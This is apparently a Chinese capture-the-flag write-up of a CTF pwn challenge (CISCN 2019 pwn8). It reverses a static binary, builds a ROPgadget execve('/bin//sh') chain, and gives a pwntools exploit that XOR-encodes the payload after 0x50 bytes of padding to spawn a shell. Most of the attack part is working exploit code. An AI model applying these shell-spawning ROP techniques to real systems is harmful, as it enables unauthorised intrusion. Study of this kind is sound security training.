2019-CISCN华南赛区半决赛 pwn8

参考博客：https://xz.aliyun.com/t/5517#toc-3

学长给了这道题目，结合了逆向+pwn

题目链接：链接：https://pan.baidu.com/s/1viEaLM-5pqmRoEzagi0Nmg   提取码：wwzb

64位的程序，是静态链接的，静态！可以直接构造rop链了

 

就开启了nx保护

 

执行的时候发现权限不够，直接给他加权限就可以，chmod +x easy_pwn

执行

 

emm，要把文件拖入桌面然后放入ida里面，因为桌面是C盘，有管理员执行权限

ida里面执行

函数很多，没有发现main函数，查找（alt+T）一下执行时候的字符串

找到函数，进入

 

进入sub_449BE0，分析得，应该就是read函数

且读入的字符数组接着又传入了sub_400C40函数

 

进入sub_400C40，a1也就是我们读入的数据

 

了解到了上面的点后，可以进行栈溢出操作

首先构造rop链：ROPgadget --binary helloworld --ropchain

生成

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000047b94f) # syscall

 

接着可以构造exp

	#!/usr/bin/env python2
	# execve generated by ROPgadget

        from pwn import *
        io = process('./easy_pwn')
        context.log_level = 'debug'

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000047b94f) # syscall

        string = ''
        for i in p:
            string += chr(ord(i)^0x66)
        
        payload = 'a'*0x50 + string

        io.recvuntil("Please enter your Password: ")
        io.sendline(payload)

        io.interactive()

chr() 用一个范围在 range（256）内的（就是0～255）整数作参数，返回一个对应的字符。

ord() 函数是 chr() 函数（对于8位的ASCII字符串）或 unichr() 函数（对于Unicode对象）的配对函数，它以一个字符（长度为1的字符串）作为参数，返回对应的 ASCII 数值，或者 Unicode 数值，如果所给的 Unicode 字符超出了你的 Python 定义范围，则会引发一个 TypeError 的异常。

 

【查找返回地址覆盖量（方法二）】

（1）创建覆盖的字符串：

root@kali:~/Documents# cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

（2）进入gdb，run开始，将字符串放入输入点

（3）程序崩了，查看使程序崩的值（保存在esp里）

（4）进行异或操作

因为原来的程序对输入的每个字符串进行了异或操作，两次异或操作可以得到原来的值